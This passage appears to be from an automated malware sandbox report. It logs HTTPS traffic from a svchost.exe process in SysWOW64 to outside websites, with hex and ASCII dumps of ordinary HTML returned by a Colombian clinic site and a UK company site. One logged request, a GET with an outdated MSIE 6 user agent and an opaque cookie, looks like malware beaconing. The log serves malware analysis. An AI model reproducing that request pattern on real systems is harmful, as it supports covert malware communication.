}return!1}(o[r]),t.supports.everything=t.supports.everything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&!t.supports.
2023-03-10 06:56:29 UTC	2343	IN	Data Raw: 34 20 30 2e 38 3b 30 2e 32 20 30 2e 36 20 30 2e 34 20 30 2e 38 3b 30 2e 32 20 30 2e 38 20 30 2e 34 20 30 2e 38 27 20 63 61 6c 63 4d 6f 64 65 3d 27 73 70 6c 69 6e 65 27 20 20 2f 25 33 45 20 20 20 25 33 43 2f 70 61 74 68 25 33 45 20 20 20 25 33 43 70 61 74 68 20 74 72 61 6e 73 66 6f 72 6d 3d 27 74 72 61 6e 73 6c 61 74 65 28 38 29 27 20 64 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 25 33 45 20 20 20 20 20 25 33 43 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 27 64 27 20 76 61 6c 75 65 73 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 34 20 56 32 38 20 48 34 20 56 34 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 20 64 75 72 Data Ascii: 4 0.8;0.2 0.6 0.4 0.8;0.2 0.8 0.4 0.8' calcMode='spline' /%3E %3C/path%3E %3Cpath transform='translate(8)' d='M0 12 V20 H4 V12z'%3E %3Canimate attributeName='d' values='M0 12 V20 H4 V12z; M0 4 V28 H4 V4z; M0 12 V20 H4 V12z; M0 12 V20 H4 V12z' dur
2023-03-10 06:56:29 UTC	2351	IN	Data Raw: 68 22 3a 22 54 79 70 65 20 74 6f 20 73 65 61 72 63 68 22 7d 3b 0a 2f 2f 5d 5d 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 6b 62 2d 73 75 70 70 6f 72 74 2f 61 73 73 65 74 73 2f 6a 73 2f 6b 62 73 2d 61 6a 61 78 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 31 2e 35 2e 34 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 72 65 76 73 Data Ascii: h":"Type to search"};//...</script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/kb-support/assets/js/kbs-ajax.min.js?ver=1.5.4'></script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/revs
2023-03-10 06:56:29 UTC	2359	IN	Data Raw: 72 65 6d 6f 76 65 4c 6f 61 64 69 6e 67 3d 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6c 6f 61 64 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d 22 20 6c 6f 61 64 65 72 2d 72 65 6d 6f 76 65 64 22 3b 7d 2c 35 30 30 29 3b 7d 29 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 20 74 79 70 65 3d 22 22 20 73 69 7a 65 73 3d 22 31 36 78 31 36 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f Data Ascii: removeLoading=setTimeout(function(){load.className+=" loader-removed";},500);});</script><link rel="icon" href="https://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg" type="" sizes="16x16"/><link rel="icon" href="https://dataform.co.uk/wp-co
2023-03-10 06:56:29 UTC	2368	IN	Data Raw: 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 74 65 78 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 74 65 78 74 22 3e 48 6f 6d 65 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 35 32 35 32 35 22 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 64 61 74 61 66 6f 72 6d 2d 6f 76 65 72 76 69 65 77 2f 27 20 64 61 74 61 2d 6c 65 76 65 6c 3d 27 31 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 74 65 78 74 22 3e 3c Data Ascii: ass="menu-item-text"><span class="menu-text">Home</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-52525"><a href='https://dataform.co.uk/dataform-overview/' data-level='1'><span class="menu-item-text"><
2023-03-10 06:56:29 UTC	2376	IN	Data Raw: 61 63 65 28 2f 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6e 6f 2d 6a 73 2f 2c 27 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6a 73 27 29 3b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 63 6c 61 73 73 4e 61 6d 65 3d 63 3b 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 64 74 2d 74 68 65 37 2f 6a 73 2f 6d 61 69 6e 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 36 2e 30 2e 31 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 76 61 72 20 77 70 63 66 37 3d Data Ascii: ace(/woocommerce-no-js/,'woocommerce-js');document.body.className=c;</script><script type='text/javascript' src='https://dataform.co.uk/wp-content/themes/dt-the7/js/main.min.js?ver=6.6.0.1'></script><script type='text/javascript'>//<![CDATA[var wpcf7=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.6	63503	104.21.66.220	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:28 UTC	2229	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: clinicasanluis.com.co Cookie: d55e479f054c94814cbc10d217aaa990=85e4e1a68595ff47778d80e98dbe0065
2023-03-10 06:56:29 UTC	2252	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:29 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 17 Aug 2005 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Last-Modified: Fri, 10 Mar 2023 06:56:28 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=QZTHyxWuO1bZK2SiDXs4MtYkeX6MkPtq1MXrG%2BFZXF6lB1o%2BMNm9Zqn8wywTD%2BwCqhy6FKueKxuWybe0O6FNkoOso67KwftEzGi8M4YYGuRfi0FlWRjW2vqEChCh6qBogwr%2FGg5MMJ4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a8730867994e-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:29 UTC	2252	IN	Data Raw: 37 63 61 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 69 6e 69 63 61 73 61 6e 6c 75 69 73 2e 63 6f 6d 2e 63 6f 2f 22 20 Data Ascii: 7caf<!DOCTYPE html><html lang="es-ES" dir="ltr"><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta charset="utf-8" /><base href="https://clinicasanluis.com.co/"
2023-03-10 06:56:29 UTC	2253	IN	Data Raw: 6d 6f 64 5f 70 6f 70 75 70 61 68 6f 6c 69 63 2f 63 73 73 2f 6a 71 75 65 72 79 2e 67 61 66 61 6e 63 79 62 6f 78 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 65 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2d 63 6f 6d 70 69 6c 65 64 2f 6e 75 63 6c 65 75 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 74 65 6d 70 6c 61 Data Ascii: mod_popupaholic/css/jquery.gafancybox.min.css" rel="stylesheet" /><link href="/media/gantry5/assets/css/font-awesome.min.css" rel="stylesheet" /><link href="/media/gantry5/users/nucleus/css-compiled/nucleus.css" rel="stylesheet" /><link href="/templa
2023-03-10 06:56:29 UTC	2254	IN	Data Raw: 2f 6d 6f 6f 74 6f 6f 6c 73 2d 63 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 6d 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 70 6c 75 67 69 6e 73 2f 73 79 73 74 65 6d 2f 72 6f 6b 62 6f 78 2f 61 73 73 65 74 73 2f 6a 73 2f 72 6f 6b 62 6f 78 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 6a 75 69 2f 6a 73 2f 62 6f 6f 74 73 74 72 61 Data Ascii: /mootools-core.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-more.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/plugins/system/rokbox/assets/js/rokbox.js"></script><script src="/media/jui/js/bootstra
2023-03-10 06:56:29 UTC	2256	IN	Data Raw: 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2f 6e 75 63 6c 65 75 73 2d 69 65 39 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 74 63 68 6d 65 64 69 61 2e 70 6f 6c 79 66 69 6c 6c 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 69 6d 61 67 65 73 2f 66 61 76 69 63 6f 6e 2e 70 6e 67 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 63 6c 61 73 73 3d 22 67 61 6e 74 Data Ascii: ines/nucleus/css/nucleus-ie9.css" type="text/css"/> <script type="text/javascript" src="/media/gantry5/assets/js/matchmedia.polyfill.js"></script> <![endif]--><link rel="shortcut icon" href="/images/favicon.png"></head><body class="gant
2023-03-10 06:56:29 UTC	2257	IN	Data Raw: 69 7a 65 2d 36 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6d 65 6e 75 2d 38 36 30 35 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 6e 61 76 20 63 6c 61 73 73 3d 22 67 2d 6d 61 69 6e 2d 6e 61 76 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 64 61 74 61 2d 67 2d 68 6f 76 65 72 2d 65 78 70 61 6e 64 3d 22 74 72 75 65 22 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 74 6f 70 6c 65 76 65 6c 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 30 34 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c 64 69 Data Ascii: ize-63"><div id="menu-8605-particle" class="g-content g-particle"> <nav class="g-main-nav" role="navigation" data-g-hover-expand="true"><ul class="g-toplevel"><li class="g-menu-item g-menu-item-type-separator g-menu-item-104 g-parent g-standard "><di
2023-03-10 06:56:29 UTC	2258	IN	Data Raw: 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 65 71 75 69 70 6f 2d 6d 65 64 69 63 6f 2f 70 65 64 69 61 74 72 61 73 22 3e 0a 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 65 64 69 61 74 72 61 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c Data Ascii: m g-menu-item-type-component g-menu-item-215 "><a class="g-menu-item-container" href="/index.php/somos-especialistas/equipo-medico/pediatras"> <span class="g-menu-item-content"><span class="g-menu-item-title">Pediatras</span></span></a></li><li cl
2023-03-10 06:56:29 UTC	2260	IN	Data Raw: 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 30 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 Data Ascii: </ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-separator g-menu-item-110 g-parent g-standard "><div class="g-menu-item-container" data-g-menuparent=""> <span class="g-separator g-menu-item-content"> <span class="g-menu-it
2023-03-10 06:56:29 UTC	2261	IN	Data Raw: 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 6f 6c c3 ad 74 69 63 61 73 20 69 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 76 61 6c 6f 72 65 73 2d 63 6f 72 70 6f 72 61 74 69 76 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d Data Ascii: -menu-item-title">Polticas institucionales</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-115 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/valores-corporativos"><span class="g-menu-item-
2023-03-10 06:56:29 UTC	2262	IN	Data Raw: 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 61 63 69 65 6e 74 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 70 61 72 65 6e 74 2d 69 6e 64 69 63 61 74 6f 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 3c 2f 73 70 61 6e 3e 20 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 64 72 6f 70 64 6f 77 6e 20 67 2d 69 6e 61 63 74 69 76 65 20 67 2d 66 61 64 65 20 67 2d 64 72 6f 70 64 6f 77 6e 2d 72 69 67 68 74 22 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 64 72 6f 70 64 6f 77 6e 2d 63 6f 6c 75 6d 6e 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e Data Ascii: -item-content"><span class="g-menu-item-title">Pacientes</span></span><span class="g-menu-parent-indicator" data-g-menuparent=""></span> </a><ul class="g-dropdown g-inactive g-fade g-dropdown-right"><li class="g-dropdown-column"><div class="g-grid">
2023-03-10 06:56:29 UTC	2264	IN	Data Raw: 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 65 64 75 63 61 63 69 6f 6e 2d 79 2d 70 72 6f 6d 6f 63 69 6f 6e 2d 70 61 72 61 2d 6c 61 2d 64 6f 6e 61 63 69 6f 6e 2d 64 65 2d 6f 72 67 61 6e 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 64 75 63 61 63 69 c3 b3 6e 20 79 20 70 72 6f 6d 6f 63 69 c3 b3 6e 20 70 61 72 61 20 6c 61 20 64 6f 6e 61 63 69 c3 b3 6e 20 64 65 20 c3 b3 72 67 61 6e 6f 73 20 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e Data Ascii: er" href="/index.php/nuestra-clinica/nuestros-pacientes/educacion-y-promocion-para-la-donacion-de-organos"><span class="g-menu-item-content"><span class="g-menu-item-title">Educacin y promocin para la donacin de rganos </span></span></a></li>
2023-03-10 06:56:29 UTC	2265	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 34 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 69 6e 64 69 63 61 64 6f 72 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 49 6e 64 69 63 61 64 6f 72 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d Data Ascii: menu-item-type-component g-menu-item-384 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/indicadores"><span class="g-menu-item-content"><span class="g-menu-item-title">Indicadores</span></span></a></li><li class="g-menu-item g-
2023-03-10 06:56:29 UTC	2266	IN	Data Raw: 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 31 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 64 69 72 65 63 74 6f 72 69 6f 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 44 69 72 65 63 74 6f 72 69 6f 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e Data Ascii: ss="g-menu-item g-menu-item-type-component g-menu-item-231 "><a class="g-menu-item-container" href="/index.php/contacto/directorio"><span class="g-menu-item-content"><span class="g-menu-item-title">Directorio</span></span></a></li><li class="g-men
2023-03-10 06:56:29 UTC	2268	IN	Data Raw: 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 63 6f 70 61 73 73 74 2d 32 30 32 30 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 43 4f 50 41 53 53 54 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 Data Ascii: s="g-menu-item-container" href="/index.php/contacto/copasst-2020"><span class="g-menu-item-content"><span class="g-menu-item-title">COPASST</span></span></a></li></ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-component
